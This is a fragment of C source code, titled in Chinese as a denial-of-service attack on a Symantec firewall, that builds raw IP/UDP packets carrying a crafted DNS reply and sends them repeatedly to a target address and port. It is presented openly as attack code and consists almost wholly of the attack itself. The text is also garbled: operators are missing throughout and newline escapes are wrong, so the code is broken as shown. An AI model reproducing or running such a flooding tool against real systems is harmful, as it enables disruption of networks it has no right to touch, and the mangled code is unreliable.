赛门铁客防火墙D.o.s攻击代码

memcpy(ptr, &ipHdr.ip_srcaddr, sizeof(ipHdr.ip_srcaddr));
ptr = sizeof(ipHdr.ip_srcaddr);
iUdpChecksumSize = sizeof(ipHdr.ip_srcaddr);

memcpy(ptr, &ipHdr.ip_destaddr, sizeof(ipHdr.ip_destaddr));
ptr = sizeof(ipHdr.ip_destaddr);
iUdpChecksumSize = sizeof(ipHdr.ip_destaddr);

ptr ;
iUdpChecksumSize = 1;

memcpy(ptr, &ipHdr.ip_protocol, sizeof(ipHdr.ip_protocol));
ptr = sizeof(ipHdr.ip_protocol);
iUdpChecksumSize = sizeof(ipHdr.ip_protocol);

memcpy(ptr, &udpHdr.udp_length, sizeof(udpHdr.udp_length));
ptr = sizeof(udpHdr.udp_length);
iUdpChecksumSize = sizeof(udpHdr.udp_length);

memcpy(ptr, &udpHdr, sizeof(udpHdr));
ptr = sizeof(udpHdr);
iUdpChecksumSize = sizeof(udpHdr);

for(i = 0; i < sizeof(dnsreply)-1; i , ptr )
*ptr = strMessage[i];
iUdpChecksumSize = sizeof(dnsreply)-1;

cksum = checksum((unsigned short *)buf, iUdpChecksumSize);
udpHdr.udp_checksum = cksum;


memset(buf, 0, MAX_PACKET);
ptr = buf;

memcpy(ptr, &ipHdr, sizeof(ipHdr)); ptr = sizeof(ipHdr);
memcpy(ptr, &udpHdr, sizeof(udpHdr)); ptr = sizeof(udpHdr);
memcpy(ptr, strMessage, sizeof(dnsreply)-1);

remote.sin_family = AF_INET;
remote.sin_port = htons(iToPort);
remote.sin_addr.s_addr = dwToIP;

for(i = 0; i < dwCount; i ) {
#ifdef _WIN32
ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote,
sizeof(remote));

if (ret == SOCKET_ERROR) {
printf("[-] sendto() failed: %d/n", WSAGetLastError());
break;
} else
#else
ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) &remote,
sizeof(remote));
#endif
printf("[ ] sent %d bytes/n", ret);
}

#ifdef _WIN32
closesocket(s);
WSACleanup();
#endif

return 0;
}
（出处：viphot）